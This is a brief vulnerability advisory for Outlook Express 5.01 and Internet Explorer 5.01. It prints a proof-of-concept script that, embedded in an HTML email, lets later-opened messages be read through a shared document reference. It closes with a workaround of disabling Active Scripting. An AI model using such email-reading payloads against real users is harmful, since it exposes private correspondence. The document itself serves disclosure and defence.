Outlook Express 5 vulnerability - Active Scripting may read email messages

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Description:
Outlook Express 5.01 and Internet Explorer 5.01 under Windows 95 (suppose other versions are also vulnerable) allow reading subsequently opened email messages after a hostile message is opened.

Details:
The problem is assigning the document object of the email message to a variable in a newly opened window.
Thru this variable access is possible to open email messages.
 

The code that must be included in HTML message is :
---------------------------------------------------------------------
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>");
a.x=window.document;
</SCRIPT>
---------------------------------------------------------------------
 

Workaround: Disable Active Scripting